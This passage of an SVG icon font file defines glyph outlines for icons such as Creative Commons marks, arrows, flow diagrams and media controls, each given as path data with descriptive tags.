		c0,3.83-1.411,7.078-4.211,9.789C 274.938,225.834, 271.757,227.178, 268.173,227.178zM 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224-15.616
	c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z" data-tags="cc-by, creative commons" />
<glyph unicode="&#xe344;" d="M 221.133,375.018C 102.368,373.427, 7.392,275.875, 8.982,157.133c 1.59-118.742, 99.142-213.741, 217.907-212.15c 118.742,1.568, 213.741,99.142, 212.15,217.907
		C 437.45,281.632, 339.853,376.608, 221.133,375.018z M 226.262-9.747c-93.766-1.277-170.778,73.718-172.032,167.485c-1.254,93.766, 73.741,170.778, 167.507,172.032
		c 93.744,1.254, 170.755-73.741, 172.010-167.485S 320.029-8.47, 226.262-9.747z M 171.382,123.555c-9.072,0-15.949,3.315-20.608,9.946
		C 146.093,140.131, 143.786,148.957, 143.786,160c0,24.282, 9.206,36.422, 27.597,36.422c 3.674,0, 7.661-1.232, 11.962-3.674
		c 4.278-2.464, 7.907-6.765, 10.864-12.88l 27.574,14.358C 210.762,214.096, 192.461,224.042, 166.947,224.042c-17.427,0-31.808-5.757-43.232-17.293
		C 112.314,195.213, 106.602,179.622, 106.602,160c0-20.115, 5.645-35.84, 16.934-47.13c 11.267-11.29, 26.141-16.934, 44.531-16.934
		c 11.514,0, 22.064,2.89, 31.629,8.669s 17.069,13.686, 22.467,23.766l-25.402,12.88C 191.856,129.469, 183.389,123.555, 171.382,123.555z M 290.237,123.555
		c-9.094,0-15.971,3.315-20.608,9.946c-4.682,6.608-6.989,15.456-6.989,26.499c0,24.282, 9.184,36.422, 27.597,36.422
		c 3.942,0, 8.042-1.232, 12.342-3.674c 4.278-2.464, 7.93-6.765, 10.842-12.88l 27.216,14.358c-10.797,19.869-28.918,29.814-54.477,29.814
		c-17.405,0-31.808-5.757-43.21-17.293c-11.424-11.536-17.114-27.104-17.114-46.726c0-20.115, 5.578-35.84, 16.733-47.13
		c 11.178-11.29, 26.096-16.934, 44.733-16.934c 11.29,0, 21.706,2.89, 31.27,8.669c 9.542,5.779, 17.158,13.686, 22.803,23.766l-25.76,12.88
		C 310.71,129.469, 302.266,123.555, 290.237,123.555z" data-tags="cc, creative commons" />
<glyph unicode="&#xe345;" d="M 224,209.28c-27.216,0-49.28-22.064-49.28-49.28s 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28S 251.216,209.28, 224,209.28z" data-tags="dot, circle" />
<glyph unicode="&#xe346;" d="M 145.6,209.28c-27.216,0-49.28-22.064-49.28-49.28s 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28S 172.816,209.28, 145.6,209.28z M 302.4,209.28
	c-27.216,0-49.28-22.064-49.28-49.28s 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28S 329.616,209.28, 302.4,209.28z" data-tags="dots, circles" />
<glyph unicode="&#xe347;" d="M 67.2,209.28c-27.216,0-49.28-22.064-49.28-49.28c0-27.216, 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28C 116.48,187.216, 94.416,209.28, 67.2,209.28z M 224,209.28
		c-27.216,0-49.28-22.064-49.28-49.28c0-27.216, 22.064-49.28, 49.28-49.28s 49.258,22.064, 49.258,49.28C 273.258,187.216, 251.216,209.28, 224,209.28z M 380.8,209.28
		c-27.216,0-49.28-22.064-49.28-49.28c0-27.216, 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28C 430.080,187.216, 408.016,209.28, 380.8,209.28z" data-tags="ellipsis, dots, circles" />
<glyph unicode="&#xe348;" d="M 224,384L 120.96,220.48l 206.058,0L 224,384z M 224.022-64l 103.018,163.52L 120.96,99.542L 224.022-64z" data-tags="menu, arrows, up-down, dropdown" />
<glyph unicode="&#xe349;" d="M 336.403,48L 336.381,120.307L 4.48,120.285L 4.48,199.872L 336.403,199.872L 336.381,272L 443.52,160 z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe34a;" d="M 336,272.381L 263.693,272.381L 263.715-59.52L 184.128-59.52L 184.128,272.381L 112,272.381L 224,379.52 z" data-tags="arrow-up, up, top" />
<glyph unicode="&#xe34b;" d="M 336,47.597L 263.693,47.619L 263.715,379.52L 184.128,379.52L 184.128,47.597L 112,47.619L 224-59.52 z" data-tags="arrow-down, down, bottom" />
<glyph unicode="&#xe34c;" d="M 111.619,48L 111.642,120.307L 443.52,120.285L 443.52,199.872L 111.619,199.872L 111.642,272L 4.48,160 z" data-tags="arrow-left, previous, left" />
<glyph unicode="&#xe34d;" d="M 125.433-6.163c -6.003-6.070, -6.003-15.859,0-21.93s 15.702-6.070 21.706,0l 175.392,177.117c 6.003,6.070 6.003,15.882,0,21.93
	l -175.392,177.139c -6.003,6.070, -15.702,6.070, -21.706,0s -6.003-15.859,0-21.93L 285.369,160L 125.433-6.163z" />
<glyph unicode="&#xe34e;" d="M 390.163,61.462c 6.070-6.003, 15.882-6.003, 21.93,0c 6.070,6.003, 6.070,15.702,0,21.706l-177.139,175.392
	c-6.048,6.003-15.859,6.003-21.907,0l-177.139-175.392c-6.048-6.003-6.070-15.702,0-21.706s 15.859-6.003, 21.93,0l 166.163,159.958L 390.163,61.462z" data-tags="arrow-up, up, top" />
<glyph unicode="&#xe34f;" d="M 57.837,258.538c-6.070,6.003-15.882,6.003-21.93,0c-6.048-5.981-6.048-15.702,0-21.706l 177.139-175.392c 6.070-6.003, 15.859-6.003, 21.93,0
	l 177.139,175.392c 6.048,6.003, 6.070,15.702,0,21.706S 396.211,264.541, 390.186,258.56L 224,98.602L 57.837,258.538z" data-tags="arrow-down, down, bottom" />
<glyph unicode="&#xe350;" d="M 322.538-6.163c 6.003-6.070, 6.003-15.859,0-21.93s-15.702-6.070-21.706,0l-175.392,177.117c-6.003,6.070-6.003,15.882,0,21.93
	l 175.392,177.139c 6.003,6.070, 15.702,6.070, 21.706,0s 6.003-15.859,0-21.93L 162.602,160L 322.538-6.163z" data-tags="arrow-left, previous, left" />
<glyph unicode="&#xe351;" d="M 170.262,83.437c-6.003-6.070-6.003-15.882,0-21.93c 5.981-6.070, 15.702-6.070, 21.706,0l 85.792,87.517
	c 6.003,6.070, 6.003,15.882,0,21.93l-85.792,87.539c-6.003,6.070-15.702,6.070-21.706,0S 164.259,242.634, 170.24,236.586L 240.598,160L 170.262,83.437z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe352;" d="M 147.414,106.262c-6.070-6.003-15.859-6.003-21.93,0c-6.048,6.003-6.070,15.702,0,21.728L 213.024,213.738
	c 6.070,6.003, 15.882,6.003, 21.93,0l 87.539-85.77c 6.070-6.026, 6.070-15.725,0-21.728s-15.859-6.003-21.93,0L 223.978,176.598L 147.414,106.262z" data-tags="arrow-up, up, top" />
<glyph unicode="&#xe353;" d="M 300.563,213.738c 6.070,6.003, 15.882,6.003, 21.93,0c 6.070-6.003, 6.070-15.702,0-21.706l-87.517-85.792
	c-6.070-6.003-15.882-6.003-21.93,0l-87.539,85.792c-6.048,6.003-6.048,15.702,0,21.706c 6.070,6.003, 15.859,6.003, 21.93,0L 224,143.402
	L 300.563,213.738z" data-tags="arrow-down, down, bottom" />
<glyph unicode="&#xe354;" d="M 277.738,83.437c 6.003-6.070, 6.003-15.882,0-21.93c-6.003-6.070-15.702-6.070-21.706,0l-85.792,87.517
	c-6.003,6.070-6.003,15.882,0,21.93l 85.792,87.539c 6.003,6.070, 15.702,6.070, 21.706,0s 6.003-15.859,0-21.93L 207.402,160L 277.738,83.437z" data-tags="arrow-left, left, previous" />
<glyph unicode="&#xe355;" d="M 191.811,282.842c 9.363-9.139, 100.845-105.19, 100.845-105.19C 297.674,172.768, 300.16,166.384, 300.16,160s-2.486-12.768-7.504-17.651
	c0,0-91.482-96.051-100.845-105.168c-9.363-9.139-26.186-9.766-36.198,0c-9.99,9.744-10.774,23.341,0,35.28L 239.568,160L 155.635,247.539
	c-10.774,11.962-9.99,25.558,0,35.302C 165.626,292.586, 182.47,291.981, 191.811,282.842z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe356;" d="M 346.819,127.811c-9.117,9.363-105.168,100.845-105.168,100.845C 236.768,233.651, 230.384,236.16, 224,236.16c-6.406,0-12.79-2.509-17.651-7.504
	c0,0-96.051-91.482-105.19-100.845c-9.117-9.363-9.744-26.208,0-36.198c 9.766-9.968, 23.363-10.774, 35.302,0L 224,175.546l 87.517-83.933
	c 11.962-10.774, 25.581-9.968, 35.302,0C 356.586,101.626, 355.981,118.47, 346.819,127.811z" data-tags="arrow-up, up, top" />
<glyph unicode="&#xe357;" d="M 346.819,192.189c-9.117-9.363-105.168-100.867-105.168-100.867C 236.768,86.326, 230.384,83.84, 224,83.84c-6.406,0-12.79,2.486-17.651,7.482
	c0,0-96.051,91.504-105.19,100.867c-9.117,9.363-9.744,26.186,0,36.198c 9.766,9.99, 23.363,10.774, 35.302,0L 224,144.432l 87.517,83.933
	c 11.962,10.774, 25.581,9.99, 35.302,0C 356.586,218.374, 355.981,201.53, 346.819,192.189z" data-tags="arrow-down, down, bottom" />
<glyph unicode="&#xe358;" d="M 256.189,282.842c-9.363-9.139-100.845-105.19-100.845-105.19C 150.349,172.768, 147.862,166.384, 147.862,160s 2.486-12.768, 7.482-17.651
	c0,0, 91.482-96.051, 100.845-105.168c 9.363-9.139, 26.208-9.766, 36.198,0c 9.968,9.744, 10.752,23.341-0.022,35.28L 208.432,160l 83.933,87.539
	c 10.774,11.962, 9.99,25.558, 0.022,35.302C 282.374,292.586, 265.53,291.981, 256.189,282.842z" data-tags="arrow-left, left, previous" />
<glyph unicode="&#xe359;" d="M 134.422,263.040L 134.4,56.96L 313.6,160 z" data-tags="arrow-right, triangle, right, next" />
<glyph unicode="&#xe35a;" d="M 120.96,70.4L 327.040,70.4L 223.978,249.6 z" data-tags="arrow-up, triangle, up, top" />
<glyph unicode="&#xe35b;" d="M 327.040,249.578L 120.96,249.6L 224,70.4 z" data-tags="arrow-down, triangle, down, bottom" />
<glyph unicode="&#xe35c;" d="M 313.578,263.040L 313.6,56.96L 134.4,160 z" data-tags="arrow-left, left, triangle, previous" />
<glyph unicode="&#xe35d;" d="M 17.92,160c0-113.814, 92.288-206.080, 206.080-206.080c 113.814,0, 206.080,92.266, 206.080,206.080C 430.080,273.814, 337.814,366.080, 224,366.080C 110.186,366.080, 17.92,273.814, 17.92,160z
		 M 385.28,160c0-89.062-72.218-161.28-161.28-161.28S 62.72,70.915, 62.72,160C 62.72,249.085, 134.915,321.28, 224,321.28S 385.28,249.085, 385.28,160z M 137.76,200.32l0-80.64 l 91.616,0 l0-50.4 
		L 314.72,160l-85.344,90.72L 229.376,200.32 L 137.76,200.32 z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe35e;" d="M 224.022-46.080c 113.814,0, 206.058,92.266, 206.058,206.080s-92.243,206.080-206.058,206.080C 110.186,366.080, 17.92,273.814, 17.92,160S 110.186-46.080, 224.022-46.080z
		 M 224.022,321.28c 89.085,0, 161.258-72.218, 161.258-161.28s-72.195-161.28-161.258-161.28C 134.915-1.28, 62.72,70.915, 62.72,160S 134.915,321.28, 224.022,321.28z M 183.68,73.76
		l 80.662,0 L 264.342,165.376 l 50.4,0 l-90.72,85.344L 133.28,165.376L 183.68,165.376 L 183.68,73.76 z" data-tags="arrow-up, upload, top" />
<glyph unicode="&#xe35f;" d="M 224,366.080c-113.814,0-206.080-92.266-206.080-206.080s 92.266-206.080, 206.080-206.080s 206.080,92.266, 206.080,206.080S 337.814,366.080, 224,366.080z M 224-1.28
		c-89.085,0-161.28,72.218-161.28,161.28S 134.915,321.28, 224,321.28s 161.28-72.218, 161.28-161.28S 313.085-1.28, 224-1.28z M 264.32,246.24L 183.68,246.24 l0-91.616 L 133.28,154.624 L 224,69.28
		l 90.72,85.344L 264.32,154.624 L 264.32,246.24 z" data-tags="arrow-down, download, bottom" />
<glyph unicode="&#xe360;" d="M 430.080,160c0,113.814-92.266,206.080-206.080,206.080S 17.92,273.814, 17.92,160c0-113.837, 92.266-206.102, 206.080-206.102S 430.080,46.186, 430.080,160z M 62.72,160
		c0,89.062, 72.218,161.28, 161.28,161.28s 161.28-72.218, 161.28-161.28c0-89.085-72.218-161.302-161.28-161.302S 62.72,70.915, 62.72,160z M 310.24,119.68L 310.24,200.32 L 218.624,200.32 L 218.624,250.72 
		L 133.28,160l 85.344-90.72L 218.624,119.68 L 310.24,119.68 z" data-tags="arrow-left, left, previous" />
<glyph unicode="&#xe361;" d="M 224.336,307.84L 224.336,222.093L 67.155,222.115L 67.155,97.75L 224.336,97.75L 224.336,12.16L 394.195,160.022 	z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe362;" d="M 371.84,160.336L 286.093,160.314L 286.115,3.155L 161.75,3.155L 161.75,160.336L 76.16,160.314L 224.022,330.195 	z" data-tags="arrow-up, upload, top" />
<glyph unicode="&#xe363;" d="M 371.84,159.664L 286.093,159.686L 286.115,316.845L 161.75,316.845L 161.75,159.664L 76.16,159.686L 224-10.195 	z" data-tags="arrow-down, download, bottom" />
<glyph unicode="&#xe364;" d="M 223.664,12.16L 223.664,97.907L 380.845,97.885L 380.845,222.25L 223.664,222.25L 223.664,307.84L 53.805,159.978 	z" data-tags="arrow-left, left, previous" />
<glyph unicode="&#xe365;" d="M 224.336,330.24L 224.336,244.493L 67.155,244.515L 67.155,75.35L 224.336,75.35L 224.336-10.24L 394.195,160 	z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe366;" d="M 394.24,160.336L 308.493,160.314L 308.515,3.155L 139.35,3.155L 139.35,160.336L 53.76,160.314L 224.022,330.195 	z" data-tags="arrow-up- upload, top" />
<glyph unicode="&#xe367;" d="M 394.24,159.664L 308.493,159.686L 308.515,316.845L 139.35,316.845L 139.35,159.664L 53.76,159.686L 224-10.195 	z" data-tags="arrow-down, download, bottom" />
<glyph unicode="&#xe368;" d="M 223.664,330.24L 223.664,244.493L 380.845,244.515L 380.845,75.35L 223.664,75.35L 223.664-10.24L 53.805,160 	z" data-tags="arrow-left, left, previous" />
<glyph unicode="&#xe369;" d="M 188.16,294.4c0,29.702-24.080,53.76-53.76,53.76C 104.72,348.16, 80.64,324.102, 80.64,294.4c0-22.109, 13.373-41.104, 32.48-49.347l0-170.083 
	C 94.013,66.726, 80.64,47.731, 80.64,25.6c0-29.68, 24.080-53.76, 53.76-53.76c 29.702,0, 53.76,24.080, 53.76,53.76c0,22.131-13.395,41.126-32.48,49.37L 155.68,245.053 
	C 174.787,253.296, 188.16,272.291, 188.16,294.4z M 165.424,25.6c0-17.136-13.888-31.024-31.024-31.024c-17.114,0-31.002,13.888-31.002,31.024S 117.286,56.624, 134.4,56.624
	C 151.536,56.624, 165.424,42.736, 165.424,25.6z M 134.4,263.376c-17.114,0-31.002,13.888-31.002,31.024S 117.286,325.424, 134.4,325.424
	c 17.136,0, 31.024-13.888, 31.024-31.024S 151.536,263.376, 134.4,263.376z M 334.902,74.97L 334.902,245.053 C 353.987,253.296, 367.36,272.291, 367.36,294.4
	c0,29.702-24.058,53.76-53.76,53.76c-29.658,0-53.76-24.058-53.76-53.76c0-22.109, 13.395-41.104, 32.502-49.347l0-170.083 C 273.213,66.726, 259.84,47.731, 259.84,25.6
	c0-29.68, 24.102-53.76, 53.76-53.76c 29.702,0, 53.76,24.080, 53.76,53.76C 367.36,47.731, 353.987,66.726, 334.902,74.97z M 282.576,294.4
	c0,17.136, 13.91,31.024, 31.024,31.024c 17.158,0, 31.024-13.888, 31.024-31.024S 330.758,263.376, 313.6,263.376C 296.486,263.376, 282.576,277.264, 282.576,294.4z
	 M 313.6-5.424c-17.114,0-31.024,13.888-31.024,31.024s 13.91,31.024, 31.024,31.024c 17.158,0, 31.024-13.888, 31.024-31.024S 330.758-5.424, 313.6-5.424z" data-tags="flow-parallel, parallel" />
<glyph unicode="&#xe36a;" d="M 245.28,74.97L 245.28,245.053 C 264.387,253.296, 277.76,272.291, 277.76,294.4c0,29.702-24.080,53.76-53.76,53.76S 170.24,324.102, 170.24,294.4
	c0-22.109, 13.395-41.104, 32.48-49.347l0-170.083 C 183.613,66.726, 170.24,47.731, 170.24,25.6c0-29.68, 24.080-53.76, 53.76-53.76s 53.76,24.080, 53.76,53.76
	C 277.76,47.731, 264.387,66.726, 245.28,74.97z M 192.976,294.4c0,17.136, 13.888,31.024, 31.024,31.024S 255.024,311.536, 255.024,294.4S 241.136,263.376, 224,263.376
	S 192.976,277.264, 192.976,294.4z M 224-5.424c-17.136,0-31.024,13.888-31.024,31.024s 13.888,31.024, 31.024,31.024s 31.024-13.888, 31.024-31.024
	S 241.136-5.424, 224-5.424z" data-tags="flow-line, line" />
<glyph unicode="&#xe36b;" d="M 402.058,52.57L 402.058,104 c0,31.069-20.563,77.28-77.258,77.28l-44.8,0 c-31.629,0-34.563,15.501-34.72,23.52L 245.28,267.43 
	C 264.387,275.696, 277.76,294.691, 277.76,316.8c0,29.68-24.058,53.76-53.76,53.76C 194.298,370.56, 170.24,346.48, 170.24,316.8c0-22.109, 13.373-41.104, 32.48-49.37L 202.72,204.8 
	c0-5.802-1.68-23.52-34.72-23.52l-44.8,0 c-56.694,0-77.28-46.211-77.28-77.28l0-51.43 C 26.813,44.326, 13.44,25.309, 13.44,3.2c0-29.68, 24.058-53.76, 53.76-53.76
	c 29.68,0, 53.76,24.080, 53.76,53.76c0,22.109-13.373,41.126-32.48,49.37L 88.48,104 c0,5.802, 1.68,34.72, 34.72,34.72l 44.8,0 c 13.597,0, 25.066,2.061, 34.72,5.555
	l0-91.706 C 183.613,44.326, 170.24,25.309, 170.24,3.2c0-29.68, 24.058-53.76, 53.76-53.76c 29.702,0, 53.76,24.080, 53.76,53.76c0,22.109-13.395,41.126-32.502,49.37
	l0,91.706 c 9.654-3.494, 21.123-5.555, 34.72-5.555l 44.8,0 c 31.629,0, 34.563-26.701, 34.742-34.72l0-51.43 C 340.413,44.326, 327.040,25.309, 327.040,3.2
	c0-29.68, 24.058-53.76, 53.76-53.76s 53.76,24.080, 53.76,53.76C 434.56,25.309, 421.187,44.326, 402.058,52.57z M 98.224,3.2c0-17.136-13.888-31.024-31.024-31.024
	S 36.176-13.936, 36.176,3.2S 50.064,34.224, 67.2,34.224S 98.224,20.336, 98.224,3.2z M 192.976,316.8c0,17.136, 13.91,31.024, 31.024,31.024
	c 17.114,0, 31.002-13.888, 31.002-31.024S 241.114,285.776, 224,285.776C 206.886,285.776, 192.976,299.664, 192.976,316.8z M 255.024,3.2
	c0-17.136-13.91-31.024-31.002-31.024c-17.136,0-31.024,13.888-31.024,31.024S 206.886,34.224, 224,34.224C 241.114,34.224, 255.024,20.336, 255.024,3.2z
	 M 380.8-27.824c-17.114,0-31.024,13.888-31.024,31.024s 13.91,31.024, 31.024,31.024s 31.024-13.888, 31.024-31.024S 397.914-27.824, 380.8-27.824z" data-tags="flow-tree, tree" />
<glyph unicode="&#xe36c;" d="M 367.36,294.4c0,29.68-24.058,53.76-53.76,53.76S 259.84,324.080, 259.84,294.4c0-21.795, 12.992-40.522, 31.629-48.966c-5.085-43.635-33.197-52.438-73.808-65.117
	C 197.949,174.157, 175.034,166.989, 155.68,153.056L 155.68,245.030 C 174.787,253.296, 188.16,272.291, 188.16,294.4c0,29.68-24.080,53.76-53.76,53.76C 104.698,348.16, 80.64,324.080, 80.64,294.4
	c0-22.109, 13.373-41.104, 32.48-49.37l0-170.083 C 94.013,66.726, 80.64,47.731, 80.64,25.6c0-29.68, 24.058-53.76, 53.76-53.76c 29.68,0, 53.76,24.080, 53.76,53.76
	c0,21.795-12.992,40.522-31.651,48.966c 5.107,43.635, 33.242,52.461, 73.83,65.117c 41.283,12.902, 96.902,30.307, 103.802,105.034
	C 353.629,252.826, 367.36,272, 367.36,294.4z M 103.376,294.4c0,17.136, 13.888,31.024, 31.024,31.024S 165.424,311.536, 165.424,294.4S 151.536,263.376, 134.4,263.376
	S 103.376,277.264, 103.376,294.4z M 134.4-5.424c-17.136,0-31.024,13.888-31.024,31.024S 117.264,56.624, 134.4,56.624S 165.424,42.736, 165.424,25.6
	S 151.536-5.424, 134.4-5.424z M 313.6,263.376c-17.114,0-31.024,13.888-31.024,31.024S 296.486,325.424, 313.6,325.424S 344.624,311.536, 344.624,294.4
	S 330.714,263.376, 313.6,263.376z" data-tags="flow-branch, branch" />
<glyph unicode="&#xe36d;" d="M 313.6,56.96c-22.109,0-41.126-13.395-49.37-32.48L 190.4,24.48 c-31.629,0-34.586,26.701-34.72,34.72l0,86.643 c 9.654-4.458, 21.123-7.123, 34.72-7.123
	l 73.83,0 c 8.243-19.107, 27.261-32.48, 49.37-32.48c 29.68,0, 53.76,24.080, 53.76,53.76S 343.28,213.76, 313.6,213.76c-22.109,0-41.126-13.395-49.37-32.48L 190.4,181.28 
	c-31.629,0-34.586,26.701-34.72,34.72L 155.68,267.43 C 174.787,275.674, 188.138,294.691, 188.138,316.8c0,29.68-24.058,53.76-53.738,53.76S 80.64,346.48, 80.64,316.8
	c0-22.109, 13.395-41.104, 32.48-49.37L 113.12,59.2 c0-31.069, 20.586-77.28, 77.28-77.28l 73.83,0 c 8.243-19.107, 27.261-32.48, 49.37-32.48
	c 29.68,0, 53.76,24.058, 53.76,53.76C 367.36,32.88, 343.28,56.96, 313.6,56.96z M 313.6,191.024c 17.136,0, 31.024-13.888, 31.024-31.024s-13.888-31.024-31.024-31.024
	s-31.024,13.888-31.024,31.024S 296.464,191.024, 313.6,191.024z M 103.376,316.8c0,17.136, 13.888,31.024, 31.024,31.024S 165.424,333.936, 165.424,316.8S 151.536,285.776, 134.4,285.776
	S 103.376,299.664, 103.376,316.8z M 313.6-27.824c-17.136,0-31.024,13.888-31.024,31.024s 13.888,31.024, 31.024,31.024s 31.024-13.888, 31.024-31.024
	S 330.736-27.824, 313.6-27.824z" data-tags="flow-cascade, cascade" />
<glyph unicode="&#xe36e;" d="M 414.87,350.87c-8.736,8.758-22.915,8.758-31.674,0L 33.13,0.803c-8.758-8.758-8.758-22.938,0-31.674
		c 4.368-4.368, 10.102-6.563, 15.837-6.563s 11.469,2.195, 15.837,6.563L 414.87,319.197C 423.629,327.955, 423.629,342.157, 414.87,350.87z
		 M 318.102,178.077c 31.114-42.202, 40.723-78.848, 34.922-84.65c-5.824-5.779-42.426,3.83-84.627,34.966l-123.782-123.805
		c 93.766-41.171, 215.645,45.158, 237.552,67.066c 20.72,20.675, 2.173,74.166-41.574,128.912L 318.102,178.077z M 194.141,206.166
		c-24.618,37.117-32.032,67.693-26.746,73.002c 5.219,5.264, 35.84-2.173, 72.957-26.79l 22.915,22.915C 212.554,312.79, 164.819,327.552, 145.533,308.198
		C 124.723,287.456, 45.875,176.554, 73.136,85.162L 194.141,206.166z" data-tags="mute, speaker, media control" />
<glyph unicode="&#xe36f;" d="M 98.515,266.154C 73.382,241.088-36.512,84.4, 58.442-10.509c 94.886-94.931, 251.552,14.941, 276.707,40.096
		c 25.133,25.066-7.482,98.448-72.845,163.789C 196.963,258.739, 123.67,291.354, 98.515,266.154z M 306.006,51.36c-7.414-7.37-64.848,10.237-120.131,65.542
		C 130.614,172.253, 112.963,229.664, 120.378,237.078c 7.347,7.414, 64.848-10.237, 120.064-65.565C 295.77,116.253, 313.421,58.774, 306.006,51.36z M 309.389,227.894
		c 5.734,0, 11.469,2.195, 15.837,6.563l 42.672,42.694c 8.758,8.758, 8.758,22.915,0,31.674s-22.938,8.758-31.674,0l-42.672-42.694
		c-8.758-8.736-8.758-22.915,0-31.674C 297.898,230.090, 303.654,227.894, 309.389,227.894z M 228.726,283.312c 3.472-1.949, 7.213-2.867, 10.931-2.867
		c 7.84,0, 15.434,4.144, 19.555,11.469l 24.214,43.232c 6.048,10.797, 2.195,24.461-8.602,30.486s-24.438,2.195-30.486-8.602l-24.214-43.232
		C 214.099,303.024, 217.93,289.36, 228.726,283.312z M 424.682,215.776c-6.070,10.797-19.712,14.627-30.486,8.602l-43.232-24.214
		c-10.774-6.048-14.627-19.69-8.602-30.486c 4.122-7.325, 11.715-11.469, 19.555-11.469c 3.718,0, 7.482,0.941, 10.931,2.867l 43.232,24.214
		C 426.877,191.338, 430.73,205.002, 424.682,215.776z" data-tags="sound, speaker, media control" />
<glyph unicode="&#xe370;" d="M 424.861,82.989c0-19.734-16.15-35.84-35.862-35.84l-349.44,0 c-19.712,0-22.019,8.266-5.107,18.413l 359.654,202.81
		c 16.912,10.147, 30.755,2.307, 30.755-17.405L 424.861,82.989 z" data-tags="volume, media control" />
<glyph unicode="&#xe371;" d="M 91.84,68.16L 22.4,3.2l 44.8-44.8l 64.96,69.44l 44.8-47.040l0,132.16 L 44.8,112.96 L 91.84,68.16z M 425.6,316.8l-44.8,44.8l-64.96-69.44l-44.8,47.040l0-132.16 L 403.2,207.040 l-47.040,44.8L 425.6,316.8z" data-tags="resize-shrink, shrink" />
<glyph unicode="&#xe372;" d="M 260.131,336.691l 53.85-43.59l-67.872-65.632l 44.8-44.8l 65.677,67.917l 44.621-55.037L 401.206,336.691 L 260.131,336.691 z M 156.531,137.869l-65.654-67.872l-44.128,54.454
	l0-141.12 l 141.12,0 l-54.454,44.106l 67.894,65.654L 156.531,137.869z" data-tags="resize-enlarge, enlarge, fullscreen" />
<glyph unicode="&#xe373;" d="M 274.467,169.901l-162.96,102.368C 99.456,280.154, 89.6,274.352, 89.6,259.344l0-198.71 c0-15.008, 9.856-20.787, 21.907-12.902l 162.96,102.346
		c0,0, 5.891,4.144, 5.891,9.901S 274.467,169.901, 274.467,169.901z M 324.8,290.010c-19.891,0-33.6-6.115-33.6-26.006l0-208.006 
		c0-19.914, 13.709-26.029, 33.6-26.029s 33.6,6.115, 33.6,26.029L 358.4,264.003 C 358.4,283.894, 344.691,290.010, 324.8,290.010z" data-tags="last, end, media control" />
<glyph unicode="&#xe374;" d="M 167.664,160c0-5.779, 5.869-9.901, 5.869-9.901l 162.96-102.346C 348.566,39.846, 358.4,45.67, 358.4,60.634L 358.4,259.366 
		c0,14.986-9.834,20.81-21.907,12.902l-162.96-102.368C 173.533,169.878, 167.664,165.779, 167.664,160z M 89.6,264.003l0-208.006 c0-19.891, 13.709-25.984, 33.6-25.984
		S 156.8,36.106, 156.8,55.974L 156.8,264.003 c0,19.914-13.709,26.006-33.6,26.006S 89.6,283.894, 89.6,264.003z" data-tags="first, start, media control" />
<glyph unicode="&#xe375;" d="M 31.338,160c0-6.25, 6.25-10.73, 6.25-10.73l 167.171-110.858c 12.813-8.579, 23.341-2.285, 23.341,13.978L 228.099,267.632 
		c0,16.262-10.528,22.534-23.341,14l-167.171-110.88C 37.61,170.73, 31.338,166.25, 31.338,160z M 234.64,160c0-6.25, 6.25-10.73, 6.25-10.73
		l 161.347-110.858c 12.835-8.579, 23.341-2.285, 23.341,13.978L 425.578,267.632 c0,16.262-10.506,22.534-23.341,14l-161.347-110.88
		C 240.89,170.73, 234.64,166.25, 234.64,160z" data-tags="previous, media control" />
<glyph unicode="&#xe376;" d="M 410.39,170.73l-167.149,110.88C 230.406,290.166, 219.878,283.872, 219.878,267.632l0-215.242 c0-16.262, 10.528-22.557, 23.363-13.978l 167.149,110.858
		c0,0, 6.25,4.48, 6.25,10.73S 410.39,170.73, 410.39,170.73z M 207.11,170.73L 45.741,281.632C 32.928,290.166, 22.422,283.872, 22.422,267.632l0-215.242 
		c0-16.262, 10.506-22.557, 23.341-13.978l 161.37,110.858c0,0, 6.25,4.48, 6.25,10.73S 207.11,170.73, 207.11,170.73z" data-tags="next, media control" />
<glyph unicode="&#xe377;" d="M 324.8,294.4l-201.6,0 C 100.934,294.4, 89.6,287.546, 89.6,265.28l0-210.56 C 89.6,32.454, 100.934,25.6, 123.2,25.6l 201.6,0 c 22.266,0, 33.6,6.854, 33.6,29.12L 358.4,265.28 C 358.4,287.546, 347.066,294.4, 324.8,294.4
		z" data-tags="stop, media control" />
<glyph unicode="&#xe378;" d="M 224,316.8c-86.598,0-156.8-70.202-156.8-156.8c0-86.598, 70.202-156.8, 156.8-156.8c 86.576,0, 156.8,70.202, 156.8,156.8C 380.8,246.598, 310.576,316.8, 224,316.8z" data-tags="record, circle, media control" />
<glyph unicode="&#xe379;" d="M 302.4,316.8c-22.266,0-40.32-6.854-40.32-29.12l0-255.36 c0-22.266, 18.054-29.12, 40.32-29.12s 40.32,6.854, 40.32,29.12L 342.72,287.68 C 342.72,309.946, 324.666,316.8, 302.4,316.8zM 145.6,316.8C 123.334,316.8, 105.28,309.946, 105.28,287.68l0-255.36 c0-22.266, 18.054-29.12, 40.32-29.12s 40.32,6.854, 40.32,29.12L 185.92,287.68 C 185.92,309.946, 167.866,316.8, 145.6,316.8z" data-tags="pause, media control" />
<glyph unicode="&#xe37a;" d="M 374.035,171.491L 182.269,290.301c-13.978,9.162-25.402,2.397-25.402-15.008l0-230.63 c0-17.405, 11.446-24.147, 25.402-14.986l 191.789,118.81
		c0,0, 6.81,4.794, 6.81,11.514C 380.845,166.698, 374.035,171.491, 374.035,171.491z" data-tags="play, media control" />
<glyph unicode="&#xe37b;" d="M 174.72,109.13l-89.6,35.862l0-30.33 l 89.6-35.862L 174.72,109.13 z M 174.72,202.202l-89.6,35.84L 85.12,207.712 l 89.6-35.84L 174.72,202.202 z M 415.766,357.747
		c-6.138,4.166-13.978,5.018-20.877,2.262L 224,291.645L 53.11,360.010C 46.211,362.765, 38.394,361.914, 32.234,357.747C 26.096,353.581, 22.4,346.637, 22.4,339.2l0-286.72 
